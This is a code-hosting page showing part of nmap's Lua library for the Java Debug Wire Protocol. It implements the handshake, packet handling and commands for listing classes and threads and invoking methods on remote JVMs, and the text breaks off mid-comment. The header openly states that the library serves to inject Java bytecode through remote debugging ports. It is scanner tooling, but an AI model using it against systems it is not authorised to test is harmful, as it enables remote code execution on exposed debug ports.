PageRenderTime 72ms CodeModel.GetById 3ms app.highlight 59ms RepoModel.GetById 1ms app.codeStats 1ms

/nselib/jdwp.lua

https://github.com/prakashgamit/nmap
Lua | 1095 lines | 709 code | 60 blank | 326 comment | 69 complexity | a1ed4f631d84a2862078d1fde5dcbbb0 MD5 | raw file
   1--- JDWP (Java Debug Wire Protocol) library implementing a set of commands needed to 
   2--  use remote debugging port and inject java bytecode. 
   3--
   4-- There are two basic packet types in JDWP protool. 
   5-- Command packet and reply packet. Command packets are sent by 
   6-- a debugger to a remote port which replies with a reply packet.
   7-- 
   8-- Simple handshake is needed to start the communication. 
   9-- The debugger sends a "JDWP-Handshake" string and gets the same as a reply.
  10-- Each (command and reply packet) has an id field since communication can be asynchronous.
  11-- Packet id can be monothonicaly increasing.
  12-- Although communication can be asynchronous, it is not (at least in my tests) so the same
  13-- packet id can be used for all communication. 
  14-- 
  15-- To start the connection, script should call <code>jdwp.connect()</code> which returns success
  16-- status and a socket. All other protocol functions require a socket as their first parameter.
  17-- 
  18-- Example of initiating connection:
  19-- <code>
  20-- local status,socket = jdwp.connect(host,port)
  21-- if not status then
  22-- 	stdnse.print_debug("error, %s",socket)
  23-- end
  24-- local version_info
  25-- status, version_info = jdwp.getVersion(socket,0)
  26-- </code>
  27--
  28-- References:
  29-- * http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
  30-- 
  31--@copyright Same as Nmap--See http://nmap.org/book/man-legal.html
  32--@author Aleksandar Nikolic
  33--
  34-- Version 0.1
  35-- Created 08/10/2012 - v0.1 - Created by Aleksandar Nikolic
  36
  37local stdnse = require "stdnse"
  38local string = require "string"
  39local bin = require "bin"
  40local table = require "table"
  41local nmap = require "nmap"
  42
  43_ENV = stdnse.module("jdwp", stdnse.seeall)
  44
  45-- JDWP protocol specific constants 
  46JDWP_CONSTANTS = {
  47	handshake = "JDWP-Handshake" -- Connection initialization handshake
  48}
  49
  50-- List of error codes from:
  51-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_Error
  52ERROR_CODES = {
  53	[0] = "NONE No error has occurred.",
  54	[10] = "INVALID_THREAD Passed thread is null, is not a valid thread or has exited.",
  55	[11] = "INVALID_THREAD_GROUP Thread group invalid.",
  56	[12] = "INVALID_PRIORITY Invalid priority.",
  57	[13] = "THREAD_NOT_SUSPENDED If the specified thread has not been suspended by an event.",
  58	[14] = "THREAD_SUSPENDED Thread already suspended.",
  59	[20] = "INVALID_OBJECT If this reference type has been unloaded and garbage collected.",
  60	[21] = "INVALID_CLASS Invalid class.",
  61	[22] = "CLASS_NOT_PREPARED Class has been loaded but not yet prepared.",
  62	[23] = "INVALID_METHODID Invalid method.",
  63	[24] = "INVALID_LOCATION Invalid location.",
  64	[25] = "INVALID_FIELDID Invalid field.",
  65	[30] = "INVALID_FRAMEID Invalid jframeID.",
  66	[31] = "NO_MORE_FRAMES There are no more Java or JNI frames on the call stack.",
  67	[32] = "OPAQUE_FRAME Information about the frame is not available.",
  68	[33] = "NOT_CURRENT_FRAME Operation can only be performed on current frame.",
  69	[34] = "TYPE_MISMATCH The variable is not an appropriate type for the function used.",
  70	[35] = "INVALID_SLOT Invalid slot.",
  71	[40] = "DUPLICATE Item already set.",
  72	[41] = "NOT_FOUND Desired element not found.",
  73	[50] = "INVALID_MONITOR Invalid monitor.",
  74	[51] = "NOT_MONITOR_OWNER This thread doesn't own the monitor.",
  75	[52] = "INTERRUPT The call has been interrupted before completion.",
  76	[60] = "INVALID_CLASS_FORMAT The virtual machine attempted to read a class file and determined that the file is malformed or otherwise cannot be interpreted as a class file.",
  77	[61] = "CIRCULAR_CLASS_DEFINITION A circularity has been detected while initializing a class.",
  78	[62] = "FAILS_VERIFICATION The verifier detected that a class file, though well formed, contained some sort of internal inconsistency or security problem.",
  79	[63] = "ADD_METHOD_NOT_IMPLEMENTED Adding methods has not been implemented.",
  80	[64] = "SCHEMA_CHANGE_NOT_IMPLEMENTED Schema change has not been implemented.",
  81	[65] = "INVALID_TYPESTATE The state of the thread has been modified, and is now inconsistent.",
  82	[66] = "HIERARCHY_CHANGE_NOT_IMPLEMENTED A direct superclass is different for the new class version, or the set of directly implemented interfaces is different and canUnrestrictedlyRedefineClasses is false.",
  83	[67] = "DELETE_METHOD_NOT_IMPLEMENTED The new class version does not declare a method declared in the old class version and canUnrestrictedlyRedefineClasses is false.",
  84	[68] = "UNSUPPORTED_VERSION A class file has a version number not supported by this VM.",
  85	[69] = "NAMES_DONT_MATCH The class name defined in the new class file is different from the name in the old class object.",
  86	[70] = "CLASS_MODIFIERS_CHANGE_NOT_IMPLEMENTED The new class version has different modifiers and and canUnrestrictedlyRedefineClasses is false.",
  87	[71] = "METHOD_MODIFIERS_CHANGE_NOT_IMPLEMENTED A method in the new class version has different modifiers than its counterpart in the old class version and and canUnrestrictedlyRedefineClasses is false.",
  88	[99] = "NOT_IMPLEMENTED The functionality is not implemented in this virtual machine.",
  89	[100] = "NULL_POINTER Invalid pointer.",
  90	[101] = "ABSENT_INFORMATION Desired information is not available.",
  91	[102] = "INVALID_EVENT_TYPE The specified event type id is not recognized.",
  92	[103] = "ILLEGAL_ARGUMENT Illegal argument.",
  93	[110] = "OUT_OF_MEMORY The function needed to allocate memory and no more memory was available for allocation.",
  94	[111] = "ACCESS_DENIED Debugging has not been enabled in this virtual machine. JVMDI cannot be used.",
  95	[112] = "VM_DEAD The virtual machine is not running.",
  96	[113] = "INTERNAL An unexpected internal error has occurred.",
  97	[115] = "UNATTACHED_THREAD The thread being used to call this function is not attached to the virtual machine. Calls must be made from attached threads.",
  98	[500] = "INVALID_TAG object type id or class tag.",
  99	[502] = "ALREADY_INVOKING Previous invoke not complete.",
 100	[503] = "INVALID_INDEX Index is invalid.",
 101	[504] = "INVALID_LENGTH The length is invalid.",
 102	[506] = "INVALID_STRING The string is invalid.",
 103	[507] = "INVALID_CLASS_LOADER The class loader is invalid.",
 104	[508] = "INVALID_ARRAY The array is invalid.",
 105	[509] = "TRANSPORT_LOAD Unable to load the transport.",
 106	[510] = "TRANSPORT_INIT Unable to initialize the transport.",
 107	[511] = "NATIVE_METHOD",
 108	[512] = "INVALID_COUNT The count is invalid."	
 109}
 110
 111-- JDWP protocol Command packet as described at
 112-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
 113-- Each command packet has a Command Set number, Command Number and data required
 114-- for that command.
 115JDWPCommandPacket = {
 116
 117	new = function(self,id,command_set,command, data)
 118		local o = {
 119			id = id,
 120			flags = 0, -- current specification has no flags defined for Command Packets
 121			command_set = command_set,
 122			command = command,
 123			data = data
 124		}
 125       	setmetatable(o, self)
 126        self.__index = self		
 127		return o
 128	end,
 129	
 130	-- Packs command packet as a string od bytes, ready to be sent
 131	-- to the target debugee.
 132	pack = function(self)
 133		local packed_packet
 134		if self.data == nil then 
 135			packed_packet = bin.pack(">I",11) -- lenght - minimal header is 11 bytes
 136		else 
 137			packed_packet = bin.pack(">I",11 + #self.data) -- lenght with data
 138		end
 139		packed_packet = packed_packet .. bin.pack(">I",self.id)
 140		packed_packet = packed_packet .. bin.pack(">C",0)	-- flag
 141		packed_packet = packed_packet .. bin.pack(">C",self.command_set)
 142		packed_packet = packed_packet .. bin.pack(">C",self.command)
 143		if self.data then
 144			packed_packet = packed_packet .. self.data
 145		end
 146		return packed_packet
 147	end
 148}
 149
 150-- JDWP protocol Reply packet as described at 
 151-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
 152-- Reply packets are recognized by 0x80 in flag field.
 153JDWPReplyPacket = {
 154
 155	new = function(self,length,id,error_code,data)
 156		local o = {
 157			length = length,
 158			id = id,
 159			flags = 0x80, -- no other flag is currently specified in the specification
 160			error_code = error_code, -- see ERROR_CODES table
 161			data = data -- reply data, contents depend on the command
 162		}
 163       	setmetatable(o, self)
 164        self.__index = self		
 165		return o
 166	end,
 167	
 168	-- Parses the reply into JDWPReplyPacket table.
 169	parse_reply = function(self,reply_packet)
 170		local pos,length,id,flags,error_code,data
 171		pos, length = bin.unpack(">I",reply_packet)
 172		pos, id = bin.unpack(">I",reply_packet,pos)
 173		pos, flags = bin.unpack(">C",reply_packet,pos)
 174		pos, error_code = bin.unpack(">S",reply_packet,pos)
 175		data = string.sub(reply_packet,pos)	
 176		if flags == 0x80 then
 177			return true, JDWPReplyPacket:new(length,id,error_code,data)
 178		end
 179		stdnse.print_debug(2,"JDWP error parsing reply. Wrong reply packet flag. Raw data: ", stdnse.tohex(reply_packet))
 180		return false, "JDWP error parsing reply."
 181	end
 182	
 183}
 184
 185--- Negotiates the initial debugger-debugee handshake.
 186--
 187--@param host Host to connect to.
 188--@param port Port to connect to.
 189--@return (status,socket) If status is false, socket is error message, otherwise socket is 
 190-- a newly created socket with initial handshake finished.
 191function connect(host,port)
 192	local status, result,err
 193	local socket = nmap.new_socket("tcp")
 194	socket:set_timeout(10000)
 195	local status, err = socket:connect(host, port)
 196	if not status then
 197		stdnse.print_debug(2,"JDWP could not connect: %s",err)
 198		return status, err 
 199	end
 200	status, err = socket:send(JDWP_CONSTANTS.handshake)
 201	if not status then
 202		stdnse.print_debug(2,"JDWP could not send handshake: %s",err)
 203		return status, err
 204	end
 205	status, result = socket:receive()
 206	if not status then
 207		stdnse.print_debug(2,"JDWP could not receive handshake: %s",result)
 208		return status, result
 209	end
 210	if result == JDWP_CONSTANTS.handshake then
 211		stdnse.print_debug("JDWP handshake successful.")
 212		return true, socket
 213	end
 214	return false, "JDWP handshake unsuccessful."
 215end
 216
 217--- Helper function to pack regular string into UTF-8 string.
 218-- 
 219--@param data String to pack into UTF-8.
 220--@return utf8_string UTF-8 packed string. Four bytes lenght followed by the string its self.
 221function toUTF8(data)
 222	local utf8_string = bin.pack(">i",#data) .. data
 223	return utf8_string
 224end
 225
 226--- Helper function to read all Reply packed data which might be fragmented 
 227--  over multipe packets. 
 228--
 229--@param socket Socket to receive from.
 230--@return (status,data) If status is false, error string is returned, else data contains read ReplyPacket bytes.
 231function receive_all(socket)
 232	local status, result = socket:receive()
 233	if not status then
 234		return false,result
 235	end
 236	local data = result
 237	local _, expected_length = bin.unpack(">I",result) -- first 4 bytes of packet data is the ReplyPacket length
 238	while expected_length > #data do -- read until we get all the ReplyPacket data
 239		status,result = socket:receive()
 240		if not status then
 241			return true, data -- if somethign is wrong,return partial data 
 242		end
 243		data = data .. result
 244	end
 245	return true,data 
 246end
 247
 248--- Helper function to extract ascii string from UTF-8
 249--
 250-- Writen in this way so it can be used interchangeably with bin.unpack().
 251-- 
 252--@param data Data from which to extract the string.
 253--@param pos  Offset into data string where to begin.
 254--@return (pos,ascii_string) Returns position where the string extraction ended and actuall ascii string.
 255local function extract_string(data,pos)
 256	local string_size
 257	if pos > #data then
 258		stdnse.print_debug(2,"JDWP extract_string() position higher than data length, probably incomplete data received.")
 259		return pos, nil
 260	end
 261	pos, string_size = bin.unpack(">I",data,pos)
 262	local ascii_string = string.sub(data,pos,pos+string_size)
 263	local new_pos = pos+string_size
 264	return new_pos,ascii_string
 265end
 266
 267
 268--- Helper function that sends the Command packet and parses the reply.
 269--
 270--@param socket Socket to use to send the command.
 271--@param command <code>JDWPCommandPacket</code> to send. 
 272--@return (status,data) If status is false, data contains specified error code message. If true, data contains data from the reply.
 273function executeCommand(socket,command)
 274	socket:send(command:pack())
 275	local status, result = receive_all(socket)
 276	if not status then
 277		return false, "JDWP executeCommand() didn't get a reply."
 278	end	
 279	local reply_packet
 280	status, reply_packet = JDWPReplyPacket:parse_reply(result)	
 281	if not status then
 282		return false, reply_packet
 283	end		
 284	if not (reply_packet.error_code == 0) then -- we have a packet with error , error code 0 means no error occured
 285		return false, ERROR_CODES[reply_packet.error_code]
 286	end	
 287	local data = reply_packet.data
 288	return true, data
 289end
 290
 291--- VirtualMachine Command Set (1) 
 292--  Commands targeted at the debugggee virtual machine.
 293--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine
 294
 295
 296--- Version Command (1) 
 297--  Returns the JDWP version implemented by the target VM as a table.
 298--
 299--  Returns a table with following values:
 300--  * 'description' Debugge vm verbose description.
 301--  * 'jdwpMajor'   Number representing major JDWP version.
 302--  * 'jdwpMinor'   Number representing minor JDWP version.
 303--  * 'vmVersion'   String representing version of the debuggee VM.
 304--  * 'vmName' 		Name of the debuggee VM.
 305--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Version
 306-- 
 307--@param socket Socket to use to send the command.
 308--@param id 	 Packet id. 
 309--@return (status,version_info) If status is false, version_info is an error string, else it contains remote VM version info. 
 310function getVersion(socket,id)
 311	local command = JDWPCommandPacket:new(id,1,1,nil) -- Version Command (1)
 312	local status, data = executeCommand(socket,command)
 313	if not status then
 314		stdnse.print_debug(2,"JDWP getVersion() error : %s",data)
 315		return false,data
 316	end
 317	-- parse data
 318	local version_info = {description = "",
 319						  jdwpMajor = 0,
 320						  jdwpMinor = 0,
 321						  vmVersion = "",
 322						  vmName = ""}
 323	local vmVersionSize
 324	local pos
 325	pos, version_info.description = extract_string(data,0)
 326	pos, version_info.jdwpMajor = bin.unpack(">i",data,pos)
 327	pos, version_info.jdwpMinor = bin.unpack(">i",data,pos)
 328	pos, version_info.vmVersion = extract_string(data,pos)
 329	pos, version_info.vmName = extract_string(data,pos)
 330	return true, version_info
 331end
 332
 333--- Classes by Signature command (2)
 334--  Returns reference types for all the classes loaded by the target VM which match the given signature.
 335-- 
 336--  Given the class signature (like "Ljava/lang/Class") returns it's reference ID which can be used to reference that class
 337--  in other commands. Returns a list of tables containing following values:
 338--  * 'refTypeTag' JNI type tag
 339--  * 'referenceTypeID' Reference type of the class 
 340--  * 'status' Current class status.
 341-- 	http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_ClassesBySignature
 342--
 343--@param socket 	Socket to use to send the command.
 344--@param id 	 	Packet id. 
 345--@param signature Signature of the class. 
 346--@return (status,classes) If status is false, classes is an error string, else it contains list of found classes.
 347function getClassBySignature(socket,id,signature)
 348	local command = JDWPCommandPacket:new(id,1,2,toUTF8(signature))
 349	local status, data = executeCommand(socket,command)
 350	if not status then
 351		stdnse.print_debug(2,"JDWP getClassBySignature() error : %s",data)
 352		return false,data
 353	end
 354	-- parse data
 355	local classes = {}
 356	local pos,number_of_classes = bin.unpack(">i",data)
 357
 358	for i = 1, number_of_classes do
 359		local class_info = { 
 360			refTypeTag = nil,
 361			referenceTypeID = nil,
 362			status = nil
 363		}	
 364		pos, class_info.refTypeTag = bin.unpack("c",data,pos)
 365		pos, class_info.referenceTypeID = bin.unpack(">L",data,pos)
 366		pos, class_info.status = bin.unpack(">i",data,pos)
 367		table.insert(classes,class_info)
 368	end
 369	return true, classes
 370end
 371
 372--- AllThreads Command (4) 
 373--  Returns all threads currently running in the target VM .
 374--
 375-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllThreads
 376--
 377--@param socket 	Socket to use to send the command.
 378--@param id 	 	Packet id. 
 379--@return (status, threads) If status is false threads contains an error string, else it conatins a list of all threads in the debuggee VM.
 380function getAllThreads(socket,id)
 381	local command = JDWPCommandPacket:new(id,1,4,nil)
 382	local status, data = executeCommand(socket,command)
 383	if not status then
 384		stdnse.print_debug(2,"JDWP getAllThreads() error: %s", data)
 385		return false,data
 386	end
 387	-- parse data
 388	local pos,number_of_threads = bin.unpack(">i",data)
 389	local threads = {}
 390	for i = 1, number_of_threads do 
 391		local thread
 392		pos, thread = bin.unpack(">L",data,pos)
 393		table.insert(threads,thread)
 394	end
 395	return true, threads
 396end
 397
 398--- Resume Command (9) 
 399--  Resumes execution of the application after the suspend command or an event has stopped it.
 400--
 401--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Resume
 402-- 
 403--@param socket 	Socket to use to send the command.
 404--@param id 	 	Packet id. 
 405--@return (status, nil) If status is false error string is returned, else it's null since this command has no data in the reply.
 406function resumeVM(socket,id)
 407	local command = JDWPCommandPacket:new(id,1,9,nil)
 408	local status, data = executeCommand(socket,command)
 409	if not status then
 410		stdnse.print_debug(2,"JDWP resumeVM() error: %s", data)
 411		return false,data
 412	end	
 413	-- wait for event notification
 414	status, data = receive_all(socket)	
 415	if not status then
 416		stdnse.print_debug(2,"JDWP resumeVM() event notification failed: %s", data)
 417	end
 418	return true, nil
 419end
 420
 421--- CreateString Command (11)
 422--  Creates new string object in the debuggee VM.
 423--
 424--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_CreateString
 425--
 426--@param socket 				Socket to use to send the command.
 427--@param id 	 				Packet id. 
 428--@param ascii_string			String to create.
 429--@return (status, stringID) 	If status is false error string is returned, else stringID is newly created string.
 430function createString(socket,id,ascii_string)
 431	local command = JDWPCommandPacket:new(id,1,11,toUTF8(ascii_string))
 432	local status, data = executeCommand(socket,command)
 433	if not status then
 434		stdnse.print_debug(2,"JDWP createString() error: %s", data)
 435		return false,data
 436	end	
 437	local _,stringID = bin.unpack(">L",data)
 438	return true, stringID
 439end
 440
 441--- AllClassesWithGeneric Command (20)
 442--  Returns reference types and signatures for all classes currently loaded by the target VM.
 443--  
 444--  Returns a list of tables containing following info: 
 445--  * 'refTypeTag'  	   Kind of following reference type.   
 446--  * 'typeID'   		   Loaded reference type  
 447--  * 'signature'   	   The JNI signature of the loaded reference type.  
 448--  * 'genericSignature'   The generic signature of the loaded reference type or an empty string if there is none.
 449--  * 'status'   		   The current class status.   
 450--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllClassesWithGeneric
 451--
 452--@param socket 	Socket to use to send the command.
 453--@param id 	 	Packet id. 
 454--@return (status, all_classes) If status is false all_classes contains an error string, else it is a list of loaded classes information.
 455function getAllClassesWithGeneric(socket,id)
 456	local command = JDWPCommandPacket:new(id,1,20,nil)
 457	local status, data = executeCommand(socket,command)
 458	if not status then
 459		stdnse.print_debug(2,"JDWP getAllClassesWithGeneric() error: %s", data)
 460		return false,data
 461	end
 462	-- parse data
 463	local all_classes = {}
 464	local pos,number_of_classes = bin.unpack(">i",data)
 465	
 466	for i = 0 , number_of_classes do
 467		local class = {
 468			refTypeTag = nil,
 469			typeID = nil,
 470			signature = nil,
 471			genericSignature = nil,
 472			status = nil
 473		}
 474		if pos > #data then break end
 475		pos, class.refTypeTag = bin.unpack("C",data,pos)
 476		pos, class.typeID = bin.unpack(">L",data,pos)
 477		pos, class.signature = extract_string(data,pos)
 478		pos, class.genericSignature = extract_string(data,pos)
 479		pos, class.status = bin.unpack(">i",data,pos)
 480		table.insert(all_classes,class)
 481	end
 482	return true, all_classes
 483end
 484
 485--- ReferenceType Command Set (2) 
 486--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType
 487
 488
 489--- SignatureWithGeneric Command (13)
 490--  Returns the JNI signature of a reference type.
 491--
 492-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_SignatureWithGeneric
 493--
 494--@param socket 	Socket to use to send the command.
 495--@param id 	 	Packet id. 
 496--@param classID   Reference type id of the class to get the signature from.
 497--@return (status, signature) If status is false signature contains an error string, else it is class signature (like "Ljava/lang/Class").
 498function getSignatureWithGeneric(socket,id,classID)
 499	local command = JDWPCommandPacket:new(id,2,13,bin.pack(">L",classID)) -- Version Command (1)
 500	local status, data = executeCommand(socket,command)
 501	if not status then
 502		stdnse.print_debug(2,"JDWP getVersion() error : %s",data)
 503		return false,data
 504	end
 505	local _,signature = extract_string(data,0)
 506	-- parse data
 507	return true,signature
 508end
 509
 510--- MethodsWithGeneric Command (15)
 511--  Returns information, including the generic signature if any, for each method in a reference type.
 512--
 513--  Returns a list of tables containing following fields for each method:
 514--  * 'methodID'			Method ID which can be used to call the method.
 515--  * 'name'				The name of the method.  
 516--  * 'signature'			The JNI signature of the method.  
 517--  * 'generic_signature'	The generic signature of the method, or an empty string if there is none.  
 518--  * 'modBits'				The modifier bit flags (also known as access flags) which provide additional information on the method declaration.
 519--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_MethodsWithGeneric
 520--
 521--@param socket 	Socket to use to send the command.
 522--@param id 	 	Packet id. 
 523--@param classID   Reference type id of the class to get the list of methods.
 524--@return (status, signature) If status is false methods contains an error string, else it a list of methods information.
 525function getMethodsWithGeneric(socket,id,classID)
 526	local command = JDWPCommandPacket:new(id,2,15,bin.pack(">L",classID))
 527	local status, data = executeCommand(socket,command)
 528	if not status then
 529		stdnse.print_debug(2,"JDWP getMethodsWithGeneric() error : %s",data)
 530		return false,data
 531	end
 532	-- parse data	
 533	local methods = {}
 534	local pos,number_of_methods = bin.unpack(">i",data)
 535
 536	for i = 1, number_of_methods do
 537		local method_info = {
 538			methodID = nil,
 539			name = nil,
 540			signature = nil,
 541			generic_signature = nil,
 542			modBits = nil
 543		}	
 544		pos, method_info.methodID = bin.unpack(">i",data,pos)
 545		pos,method_info.name = extract_string(data,pos)
 546		pos, method_info.signature = extract_string(data,pos)
 547		pos,method_info.generic_signature = extract_string(data,pos)
 548		pos, method_info.modBits = bin.unpack(">i",data,pos)
 549		table.insert(methods,method_info)
 550	end
 551	return true, methods
 552end
 553
 554--- ClassType Command Set (3)
 555--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType
 556
 557--- InvokeMethod Command (3) 
 558--  Invokes a class' static method and returns the reply data.
 559-- 
 560--  Reply data can vary so parsing is left to the function caller.
 561--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_InvokeMethod
 562--
 563--@param socket 		Socket to use to send the command.
 564--@param id 	 		Packet id. 
 565--@param classID   	Reference type id of the class.
 566--@param methodID  	ID of the static method to call.
 567--@numberOfArguments 	Number of method arguments.
 568--@arguments			Already packed arguments.
 569--@options				Invocation options.
 570--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy.
 571function invokeStaticMethod(socket,id,classID,methodID,numberOfArguments,arguments,options)
 572	local params
 573	if numberOfArguments == 0 then
 574		params = bin.pack(">Liii",classID,methodID,numberOfArguments,options)
 575	else
 576		params = bin.pack(">Lii",classID,methodID,numberOfArguments) .. arguments .. bin.pack(">i",options)
 577	end
 578	
 579	local command = JDWPCommandPacket:new(id,3,3,params)
 580	local status, data = executeCommand(socket,command)
 581	if not status then
 582		stdnse.print_debug(2,"JDWP invokeStaticMethod() error: %s", data)
 583		return false,data
 584	end
 585	return true,data
 586end
 587
 588--- NewInstance Command (4)
 589--  Creates a new object of this type, invoking the specified constructor. 
 590--  The constructor method ID must be a member of the class type.
 591--
 592--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_NewInstance
 593--
 594--@param socket 		Socket to use to send the command.
 595--@param id 	 		Packet id. 
 596--@param classID   	Reference type id of the class.
 597--@param threadID		The thread in which to invoke the constructor.  
 598--@param methodID  	The constructor to invoke.  
 599--@numberOfArguments 	Number of constructor arguments.
 600--@arguments			Already packed arguments.
 601--@return (status, objectID) If status is false data contains an error string, else it contains a reference ID of the newly created object.
 602function newClassInstance(socket,id,classID,threadID,methodID,numberOfArguments,arguments)
 603	local params
 604	if numberOfArguments == 0 then
 605		params = bin.pack(">LLiii",classID,threadID,methodID,numberOfArguments,0)
 606	else
 607		params = bin.pack(">LLii",classID,threadID,methodID,numberOfArguments) .. arguments
 608	end
 609	
 610	local command = JDWPCommandPacket:new(id,3,4,params)
 611	local status, data = executeCommand(socket,command)
 612	if not status then
 613		stdnse.print_debug(2,"JDWP newClassInstance() error: %s", data)
 614		return false,data
 615	end
 616	-- parse data
 617	stdnse.print_debug("newClassInstance data: %s",stdnse.tohex(data))
 618	local pos, tag = bin.unpack(">C",data)
 619	local objectID
 620	pos, objectID = bin.unpack(">L",data,pos)
 621	return true,objectID
 622end
 623
 624--- ArrayType Command Set (4) 
 625--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType
 626
 627--- NewInstance Command (1)
 628--	Creates a new array object of the specified type with a given length. 
 629--
 630--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType_NewInstance
 631-- 
 632--@param socket 		Socket to use to send the command.
 633--@param id 	 		Packet id. 
 634--@param arrayType		The array type of the new instance as per JNI (http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502).
 635--@param length 	 	Length of the new array.
 636--@return (status, arrayID) If status is false data contains an error string, else it contains a reference ID of the newly created array.
 637function newArrayInstance(socket,id,arrayType,length)
 638	local params = bin.pack(">Li",arrayType,length)
 639	local command = JDWPCommandPacket:new(id,4,1,params)
 640	local status, data = executeCommand(socket,command)
 641	if not status then
 642		stdnse.print_debug(2,"JDWP newArrayInstance() error: %s", data)
 643		return false,data
 644	end
 645	local pos,_ , tag, arrayID 
 646	pos, tag = bin.unpack("C",data)
 647	_, arrayID = bin.unpack(">L",data,pos)
 648	return true, arrayID
 649end
 650
 651--- ObjectReference Command Set (9) 
 652--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference
 653
 654--- ReferenceType Command (1)
 655--  Returns the runtime type of the object. The runtime type will be a class or an array. 
 656--
 657-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_ReferenceType 
 658--
 659--@param socket 		Socket to use to send the command.
 660--@param id 	 		Packet id. 
 661--@param objectID		The ID of an object. 
 662--@return (status, runtime_type) If status is false runtime_type contains an error string, else it contains runtime type of an object.
 663function getRuntimeType(socket,id,objectID)
 664	local command = JDWPCommandPacket:new(id,9,1,bin.pack(">L",objectID))
 665	local status, data = executeCommand(socket,command)
 666	if not status then
 667		stdnse.print_debug(2,"JDWP resumeVM() error: %s", data)
 668		return false,data
 669	end	
 670	local _,tag,runtime_type = bin.unpack(">CL",data)
 671	stdnse.print_debug("runtime type: %d",runtime_type)
 672	return true,runtime_type
 673end
 674
 675--- InvokeMethod Command (6) 
 676--  Invokes a instance method with specified parameters. 
 677-- 
 678--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_InvokeMethod
 679--
 680--@param socket 			Socket to use to send the command.
 681--@param id 	 			Packet id. 
 682--@param objectID			The ID of an object. 
 683--@param threadID			The thread in which to invoke.   
 684--@param classID			The class type.     
 685--@param methodID			ID of the method to invoke.
 686--@param numberOfArguments	Number of method arguments. 
 687--@arguments				Already packed arguments.
 688--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy.
 689function invokeObjectMethod(socket,id,objectID,threadID,classID,methodID,numberOfArguments,arguments)
 690	local params
 691	
 692	if numberOfArguments == 0 then
 693		params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments)
 694	else
 695		params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) .. arguments
 696	end
 697	
 698	local command = JDWPCommandPacket:new(id,9,6,params)
 699	local status, data = executeCommand(socket,command)
 700	if not status then
 701		stdnse.print_debug(2,"JDWP invokeObjectMethod() error: %s", data)
 702		return false,data
 703	end
 704	stdnse.print_debug("invoke obj method data: %s ",stdnse.tohex(data))
 705	return true,data
 706end
 707
 708--- StringReference Command Set (10) 
 709--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference
 710
 711--- Value Command (1)
 712--  Returns the characters contained in the string. 
 713--
 714--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference_Value
 715--
 716--@param socket 			Socket to use to send the command.
 717--@param id 	 			Packet id. 
 718--@param stringID			The ID of a string to read. 
 719--@return (status, data) 	If status is false result contains an error string, else it contains read string.
 720function readString(socket,id,stringID)
 721	local command = JDWPCommandPacket:new(id,10,1,bin.pack(">L",stringID))
 722	local status, data = executeCommand(socket,command)
 723	if not status then
 724		stdnse.print_debug(2,"JDWP readString() error: %s", data)
 725		return false,data
 726	end	
 727	local _,result = extract_string(data,0)
 728	return true,result
 729end
 730
 731--- ThreadReference Command Set (11) 
 732--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference
 733
 734
 735--- Name Command (1)
 736--  Returns the thread name. 
 737--
 738--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Name
 739--
 740--@param socket 					Socket to use to send the command.
 741--@param id 	 					Packet id. 
 742--@param threadID					The ID of a thread.
 743--@return (status, thread_name) 	If status is false thread_name contains an error string, else it contains thread's name.
 744function getThreadName(socket,id,threadID)
 745	local params = bin.pack(">L",threadID)
 746	local command = JDWPCommandPacket:new(id,11,1,params)
 747	local status, data = executeCommand(socket,command)
 748	if not status then
 749		stdnse.print_debug(2,"JDWP getThreadName() error: %s", data)
 750		return false,data
 751	end
 752	-- parse data
 753	local _,thread_name = extract_string(data,0)
 754	return true, thread_name	
 755end
 756
 757--- Suspend Command (2)
 758--  Suspends the thread. 
 759--
